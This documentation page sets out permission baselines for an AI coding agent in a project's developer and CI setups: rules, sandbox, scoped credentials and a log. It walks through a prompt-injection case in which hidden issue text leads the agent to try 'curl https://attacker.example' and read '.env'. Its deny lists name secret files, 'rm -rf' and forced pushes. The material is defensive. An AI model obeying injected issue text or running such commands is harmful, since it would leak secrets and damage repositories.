# Security model: example scenario

Two permission baselines for ticket-service, one for developer machines and one for the unattended agent-ready CI job, each enforced by rules, a sandbox, scoped credentials and a log.

Source: https://ai-sw-factory.mellicci.dev/fundamentals/security-model/example-scenario

## Scenario

In `ticket-service`, the `agent-ready` CI job from the [headless scenario](https://ai-sw-factory.mellicci.dev/fundamentals/headless-execution/example-scenario) works. It also runs an agent with repository write access on text that anyone who can open an issue wrote. On developer machines the picture is no better: each person's agent runs with different, mostly default permissions.

This page shows one way to fix both: a committed baseline for interactive use, and a stricter one for CI, where nobody can answer a prompt.

## Before → after

| | Before | After |
|---|---|---|
| Consistency | Every developer has different permissions | One baseline is committed with the project |
| Risk (CI) | Issue text can steer an agent that holds broad access | Denied by default, sandboxed, narrow token, issue text treated as data |
| Approvals | Prompts for everything, or none at all | Routine commands pre-allowed, risky ones ask or are denied |
| Traceability | No record of what the agent tried | Every tool call logged and kept as a CI artifact |

## Design

**Diagram:** Every tool call passes the rules first; approval, sandbox, scoped credentials and the log cover what the rules miss.

- Tool call — edit, shell, network
- → checked by
- Harness · deterministic:
  - Permission rules — allow · ask · deny
  - → ask
  - Approval — person or policy
- → allowed
- Containment:
  - Sandbox — files and network
  - →
  - Scoped credentials — least privilege
- → recorded
- Log — kept as CI artifact

The rules are the same shape in both baselines; only the lists differ. This is generic, and syntax differs per agent.

```text
# generic: project settings, committed to the repository
developer baseline (interactive)
  allow: read files, `pnpm test`, `pnpm lint`
  ask:   other shell commands, network access
  deny:  read or write `.env*`, `rm -rf`, `git push --force`,
         edits under `src/db/migrations/`

CI baseline (headless, nobody to ask)
  default: deny
  allow:   edit files in the workspace, `pnpm *`,
           `git add`, `git commit`, `git status`, `git diff`
  sandbox: on; network only the npm registry and GitHub
```

Around the rules, the CI job adds four limits. The agent's environment holds no secrets except its own credential. The workflow token gets `contents` and `pull-requests` write plus `issues` read. Only maintainers can add `agent-ready`. The issue text is passed to the agent as data, never as instructions to obey, because it is a prompt-injection path.

Every tool call is written by the log [hook](https://ai-sw-factory.mellicci.dev/fundamentals/hooks) to `.agent/logs/tool-calls.jsonl`, which the job uploads as a CI artifact.

## What happens at runtime

An issue labeled `agent-ready` contains a hidden line telling the agent to send data to a web server. Four calls in that CI run:

| Call | Rules | Other layers | The log shows |
|---|---|---|---|
| Edit `src/routes/tickets.ts` | Allowed: file edit in the workspace | Sandbox permits the write | Tool, path, `allowed` |
| `pnpm test` | Allowed: matches `pnpm *` | Network limited to npm and GitHub | Command, exit code, `allowed` |
| `curl https://attacker.example` (from the injected text) | Denied: not on the allow list | Sandbox would also block the host | Command, `denied`; any network attempt is also refused |
| Read `.env` | Denied: `.env*` rule | No secrets are in the environment anyway | Path, `denied` |

The model only sees that a call was refused. A person reviewing the pull request also has the artifact, which shows the injected attempt.

## What can go wrong

| Failure | How you notice | What to do |
|---|---|---|
| Rules too broad, such as allowing `Bash(*)` | The log shows commands nobody expected, and the deny list stops mattering | Allow specific commands and prefixes; keep the CI default at deny |
| A deny rule is bypassed by another command form (a different tool or shell reads the same file) | A denied action succeeds in another form | Pair rules with the sandbox, which limits files and network whatever the command is |
| Approval fatigue in interactive use | People answer yes without reading | Pre-allow routine commands so prompts are rare and meaningful |
| Secrets in environment variables, readable by any command | A credential shows up in a log, diff or comment | Keep secrets out of the agent's environment; leave only its own credential |
| Project settings from an untrusted repo | A cloned repo ships permissive rules or hooks | Review settings before trusting a repo and respond to trust prompts deliberately |
